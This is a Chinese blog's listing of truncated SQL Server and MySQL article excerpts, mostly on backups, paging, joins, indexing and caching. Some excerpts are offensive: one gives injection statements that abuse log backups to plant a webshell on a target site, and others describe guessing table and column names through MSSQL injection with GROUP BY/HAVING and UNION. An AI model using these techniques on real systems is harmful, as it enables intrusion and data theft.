SQL Server的备份还原功能之一:恢复模型

评论(0)浏览(91)分类:SQL及数据库
SQL Server的备份还原功能之一:恢复模型在SQL Server中,除了系统数据库外,你创建的每一个数据库都有三种可供选择的恢复模型: Simple(简单), full(完整), bulk-logged(批量日志)。 下面这条语句可以显示出所有在线数据库的恢复模型:SELECT name, (SELECT DATABASEPROPERTYEX(name, 'RECOVERY')) RecoveryModel FROM master..sysdatabases ORDER BY nameSQL Server 2005及以上版本也可..

SQL语句导入导出大全

评论(0)浏览(91)分类:SQL及数据库
SQL语句导入导出大全/******* 导出到excel EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""' /*********** 导入Excel Select * FROM OpenDataSource( 'Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0')...xactions /*动态文件名 dec..

SqlServer2005 高效分页存储过程

评论(0)浏览(90)分类:SQL及数据库
SqlServer2005 高效分页存储过程+展开-SQLSelect*FROM(selectROW_NUMBER()Over(orderbycf_iddesc)asrowId,*fromT_Test)asmytablewhererowIdbetween21and40每页20条,第2页ROW_NUMBER是SqlServer2005中的新特性以下是利用本方法和传统利用Set RowCount方法存储过程的效率比较结果:未建索引情况下:500w数据: 存储过程1分20秒 , 新方法1分18秒400w数据:存储过程47秒,新方法41秒..

SQL接操作小结

评论(0)浏览(90)分类:SQL及数据库
SQL接操作小结SQL 外链接操作小结 inner join left join right join简介:外部连接和自联接inner join(等值连接) 只返回两个表中联结字段相等的行left join(左联接) 返回包括左表中的所有记录和右表中联结字段相等的记录right join(右联接) 返回包括右表中的所有记录和左表中联结字段相等的记录on 指定表间联结字段及其关系的等号 "=" 表达式, 返回 true 或 fa..

Sql Server临时表和游标的使用小结

评论(0)浏览(90)分类:SQL及数据库
Sql Server临时表和游标的使用小结1.临时表 临时表与永久表相似,但临时表存储在 tempdb 中,当不再使用时会自动删除。 临时表有局部和全局两种类型 2者比较: 局部临时表的名称以符号 (#) 打头 仅对当前的用户连接是可见的 当用户实例断开连接时被自动删除 全局临时表的名称以符号 (##) 打头 任何用户都是可见的 当所有引用该表的用户断开连接时被自动删除 实际上局部临时表在..

使用微软分布式缓存服务Velocity Part 2

评论(0)浏览(90)分类:SQL及数据库
使用微软分布式缓存服务Velocity Part 2概述Velocity是微软推出的分布式缓存解决方案,为开发可扩展性,可用的,高性能的应用程提供支持,可以缓存各种类型的数据,如CLR对象、XML、二进制数据等,并且支持集群模式的缓存服务器。Velocity也将集成在.NET Framework 4.0中,本文将介绍Velocity中的配置模型、缓存复杂数据和创建分区、使用标签以及ASP.NET SessionState提供者。 配置模型..

SQL Server不允许进行远程连接的解决办法

评论(0)浏览(89)分类:SQL及数据库
SQL Server不允许进行远程连接的解决办法刚刚安装的数据库系统,按照默认安装的话,很可能在进行远程连接时报错,通常是错误:"在连接到 SQL Server 2005 时,在默认的设置下SQL Server 不允许进行远程连接可能会导致此失败。 (provider: 命名管道提供程序, error: 40 - 无法打开到 SQL Server的连接) ",现在针对此问题总结如下: 明白了SQL Server是个网络数据库就可迎刃而解了,简单的..

mysql常用函数

评论(0)浏览(89)分类:SQL及数据库
mysql常用函数算数运算子+, -, *, /除于 0 会等于 NULL。比较运算子任何东西跟 NULL 比较会等于 NULL。比较字符串通常不需要注意大小写,如果要比较大小写,用 BINARY 关键词。程序代码:SELECT *FROM departmentWHERE name = BINARY 'marketing';程序代码:= 相等!= 或 不相等 小于= 小或等于 大于= 大或等于n BETWEENmin AND max 测试范围n IN (set) set 可以..

mysql笔记

评论(0)浏览(88)分类:SQL及数据库
mysql笔记 1、取随机记录 SELECT id FROM student order by rand() limit 102、分配远程用户权限GRANT ALL ON db_name.* TO username@% IDENTIFIED BY 'userpassword'或GRANT ALL PRIVILEGES ON *.* TO username@% IDENTIFIED BY 'mypassword' WITH GRANT OPTION;3、select into 和 setselect a,b,c into @a,@b,@c from t where id=1;s..

来自微软专家的SQL注入防范方法

评论(0)浏览(87)分类:SQL及数据库
来自微软专家的SQL注入防范方法  自去年下半年开始,很多网站被恶意代码说困扰,攻击者在动态网页的SQL数据库中注入恶意的HTML SCRIPT标签。这种脚本攻击行为在2008年第一季度开始加速传播,并继续影响有漏洞的Web应用。  这些Web应用存在以下几点共性:  使用ASP作为编程代码;  使用SQL Server数据库;  应用程序代码根据URI请求字符串生成动态SQL查询(http://cons..

高速分布式缓存系统 memcached

评论(0)浏览(86)分类:SQL及数据库
高速分布式缓存系统 memcached memcached是什么?memcached 是以LiveJournal 旗下Danga Interactive 公司的Brad Fitzpatric 为首开发的一款软件。现在已成为 mixi、 hatena、 Facebook、 Vox、LiveJournal等众多服务中提高Web应用扩展性的重要因素。许多Web应用都将数据保存到RDBMS中,应用服务器从中读取数据并在浏览器中显示。但随着数据量的增大、访问的集中,就会出现RDBM..

使用微软分布式缓存服务Velocity Part 3

评论(0)浏览(85)分类:SQL及数据库
使用微软分布式缓存服务Velocity Part 3概述Velocity是微软推出的分布式缓存解决方案,为开发可扩展性,可用的,高性能的应用程提供支持,可以缓存各种类型的数据,如CLR对象、XML、二进制数据等,并且支持集群模式的缓存服务器。Velocity也将集成在.NET Framework 4.0中,本文将介绍Velocity中的悲观锁定,缓存项版本、日志记录、客户端缓存以及路由表等知识。 悲观锁定在Velocity提供..

msSQL2005数据库备份

评论(0)浏览(85)分类:SQL及数据库
msSQL2005数据库备份--完整备份Backup Database NorthwindCSTo disk='G:\Backup\NorthwindCS_Full_20070908.bak'--差异备份Backup Database NorthwindCSTo disk='G:\Backup\NorthwindCS_Diff_20070908.bak'With Differential--日志备份,默认截断日志Backup Log NorthwindCSTo disk='G:\Backup\NorthwindCS_Log_20070908.bak'--日志备份,不截断日志Backup Log Nort..

asp教程:ASP开发中存储过程应用详解

评论(0)浏览(84)分类:SQL及数据库
asp教程:ASP开发中存储过程应用详解ASP开发中存储过程应用详解|调用,参数,存储,数据库,输出,编译,mycomm,输入,userid,代码  ASP与存储过程(Stored Procedures)的文章不少,但是我怀疑作者们是否真正实践过。我在初学时查阅过大量相关资料,发现其中提供的很多方法实际操作起来并不是那么回事。对于简单的应用,这些资料也许是有帮助的,但仅限于此,因为它们根本就是千篇一律,互..

MSSQL注入利用Group by&having猜表名和字段名

评论(0)浏览(84)分类:SQL及数据库
MSSQL注入利用Group by&having猜表名和字段名lcx和剑心等大牛在06年的时候就已经在用这种语法了,而我等小辈到最近才领略到,惭愧惭愧......手头暂时没有注入点测试,就先以我机器上的MSSQL做实验吧。下面的语句我直接写完整的SQL语句,注入的时候稍微改改就能用了,呵呵。假如现在有个注入点,所查询表的结构如下图:但是我们是不知道表明,不知道列名的....如果这个注入点原来的SQL语句是:..

DB权限备份超时的解决办法

评论(0)浏览(83)分类:SQL及数据库
DB权限备份超时的解决办法有时候遇到目标网站数据库过大,导致备份超时的时候,我们可以通过以下语句进行备份拿webshell alter database CaanCn set RECOVERY FULL-- Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])-- declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init-- insert into b..

MySQL中MyISAM引擎与InnoDB引擎性能简单测试

评论(0)浏览(83)分类:SQL及数据库
MySQL中MyISAM引擎与InnoDB引擎性能简单测试[硬件配置]CPU : AMD2500+ (1.8G)内存: 1G/现代硬盘: 80G/IDE[软件配置]OS : Windows XP SP2SE : PHP5.2.1DB : MySQL5.0.37Web: IIS6[MySQL表结构]CREATETABLE`myisam`(`id`int(11)NOTNULLauto_increment,`name`varchar(100)defaultNULL,`content`text,PRIMARYKEY(`id`))ENGINE=MyISAMDEFAULTCHARSET=gbk;CREATETABLE`innodb`(`id`int(11)NOTNUL..

三种SQL分页法

评论(0)浏览(83)分类:SQL及数据库
三种SQL分页法应一个朋友的要求,贴上收藏的SQL常用分页的办法~~ 表中主键必须为标识列,[ID] int IDENTITY (1,1) 1.分页方案一:(利用Not In和SELECT TOP分页) 语句形式: +展开-SQLSELECTTOP页记录数量*FROM表名WHERE(IDNOTIN(SELECTTOP(每页行数*(页数-1))IDFROM表名ORDERBYID))ORDERBYID--自己还可以加上一些查询条件例: +展开-SQLselecttop2*fromSys_..

写出高效SQL语句应注意的地方

评论(0)浏览(80)分类:SQL及数据库
写出高效SQL语句应注意的地方避免使用IN 操作符 用IN写出来的SQL的优点是比较容易写及清晰易懂,这比较适合现代软件开发的风格。 但是用IN的SQL性能总是比较低的,从ORACLE执行的步骤来分析用IN的SQL与不用IN的SQL有以下区别: ORACLE试图将其转换成多个表的连接,如果转换不成功则先执行IN里面的子查询,再查询外层的表记录,如果转换成功则直接采用多个表的连接方式查询。..

mssql性能优化(教你写出高质量的SQL语句)(二)

评论(0)浏览(80)分类:SQL及数据库
mssql性能优化(教你写出高质量的SQL语句)(二)6、 慎用游标数据库一般的操作是集合操作,也就是对由WHERE子句和选择列确定的结果集作集合操作,游标是提供的一个非集合操作的途径。一般情况下,游标实现的功能往往相当于客户端的一个循环实现的功能,所以,大部分情况下,我们把游标功能搬到客户端。游标是把结果集放在服务器内存,并通过循环一条一条处理记录,对数据库资源(特别是内存和锁..

SQL Server的备份还原功能之二:主要备份类型

评论(0)浏览(79)分类:SQL及数据库
SQL Server的备份还原功能之二:主要备份类型假设在下面几个时间段中,一个数据库积累插入了如下数据:1.完整数据库备份故名思意,完整数据库备份包括完整的数据库信息。它包括数据库的数据文件和备份结尾的部份活动事务日志。完整备份基本语法如下:BACKUP DATABASE AdventureWorks TO DISK = 'g:\backups\AdventureWorks.bak'2.差异性数据库备份差异性数据库备份包括自从上一次完整性备份..

使用微软分布式缓存服务Velocity Part 1

评论(0)浏览(79)分类:SQL及数据库
使用微软分布式缓存服务Velocity Part 1概述Velocity是微软推出的分布式缓存解决方案,为开发可扩展性,可用的,高性能的应用程提供支持,可以缓存各种类型的数据,如CLR对象、XML、二进制数据等,并且支持集群模式的缓存服务器。Velocity也将集成在.NET Framework 4.0中,本文将介绍Velocity的一些预备知识、安装配置以及开发一个简单的示例。 简介既然是分布式的缓存平台,客户端应用..

PIVOT/UNPIVOT的用法

评论(0)浏览(79)分类:SQL及数据库
PIVOT/UNPIVOT的用法  SQL Server2005引入了很多迎合开发者口味的新特性,虽然改动不大,却大大了减少了开发者的工作量,这种替用户考虑的开发思路,值得称赞。  在SQL Server2000中,要实现行列转换,需要综合利用聚合函数和动态SQL,实现起来需要一定的技巧,所以在CSDN的SQL讨论区里可以看到大量询问行列转换如何实现的问题。到了2005中,使用新引进的关键字..

MSSQL下用UNION和系统表配合猜表名和字段名深度注入

评论(0)浏览(78)分类:SQL及数据库
MSSQL下用UNION和系统表配合猜表名和字段名深度注入Author:零魂(zerosoul)Blog: http://hi.baidu.com/0soul转载请带上版权。这是这次出攻防大赛题目的时候顺便做的一些注入总结,是我通过查询系统表结构总结出来的。只要注入点有效,并且没有过滤单引号,即使它管理员表名和字段名设置的再复杂都是可以猜出来的,而且由于是用union,效率还是很高的。还有只需要DBO权限即可。以一个数字型注入点为..

关系数据库的索引技术

评论(0)浏览(77)分类:SQL及数据库
关系数据库的索引技术 摘 要:索引是影响关系数据库(RDBMS)性能的重要因素之一。当今常用的关系数据库,如SQL Server、Sybase、Oracle、DB2等,为了提高性能,都提供相应的索引机制。本文以微软的SQL Server数据库为例,介绍索引的概念、使用方法以及日常维护。关键词:数据库、索引、检索1 索引的概念索引是一个单独的、物理的数据库结构,它是某个表中一列或若干列..

索引碎片的整理

评论(0)浏览(77)分类:SQL及数据库
索引碎片的整理解决碎片问题一旦你确定表或索引有碎片问题,那么你有4个选择去解决那些问题:1. 删除并重建索引2. 使用DROP_EXISTING子句重建索引3. 执行DBCC DBREINDEX4. 执行DBCC INDEXDEFRAG尽管每一个技术都能达到你整理索引碎片的最终目的,但各有各的优缺点。删除并重建索引用DROP INDEX和CREATE INDEX或ALTER TABLE来删除并重建索引有些缺陷包括在删除重..

MySQL和SQL字段截短漏洞

评论(0)浏览(76)分类:SQL及数据库
MySQL和SQL字段截短漏洞当前的Web开发者中肯定有不少人没有注意到作者所提到的这两个问题的。 第一个问题是这样的,MySQL默认有一个配置参数 max_packet_size,这个参数是用于限制MySQL客户端和MySQL服务器端数据通信的数据包大小,MySQL的默认配置是1MB。如果客户端发送的数据超过了1MB,则MySQL服务器端会忽略掉这个请求数据。作者接下来举了两个利用这个缺陷的例子,..

SQL Server 处理死锁进程

评论(0)浏览(76)分类:SQL及数据库
SQL Server 处理死锁进程邹建写的。。很好用,我一直用它杀死锁。+展开-SQL/*--处理死锁  查看当前进程,或死锁进程,并能自动杀掉死进程  因为是针对死的,所以如果有死锁进程,只能查看死锁进程当然,你可以通过参数控制,不管有没有死锁,都只查看死锁进程--邹建2004.4--*//*--调用示例execp_lockinfo--*/CREATEprocp_lockinfo@kill_lock_spidbit=1,--是否杀掉死锁的进程..

mysql5.1事件调度器

评论(0)浏览(76)分类:SQL及数据库
mysql5.1事件调度器 一、概述事件调度器是在MySQL 5.1 中新增的另一个特色功能,可以作为定时任务调度器,取代部分原先只能用操作系统任务调度器才能完成的定时功能。例如,Linux 中的 crontabe 只能精确到每分钟执行一次,而MySQL 的事件调度器则可以实现每秒钟执行一个任务,这在一些对实时性要求较高的环境下就非常实用了。事件调度器是定时触发执行的,在这个角..

.NET 使用存储过程分页

评论(0)浏览(75)分类:SQL及数据库
.NET 使用存储过程分页+展开-SQLCREATEPROCEDUREPageCut@tblNamevarchar(255),--表名@strGetFieldsvarchar(1000)='*',--需要返回的列@fldNamevarchar(255)='',--排序的字段名@PageSizeint=10,--页尺寸@PageIndexint=1,--页码@OrderTypebit=0,--设置排序类型,非0值则降序@strWherevarchar(1500)='',--查询条件(注意:不要加where)@Countsintout--返回记录总数,非0值则返..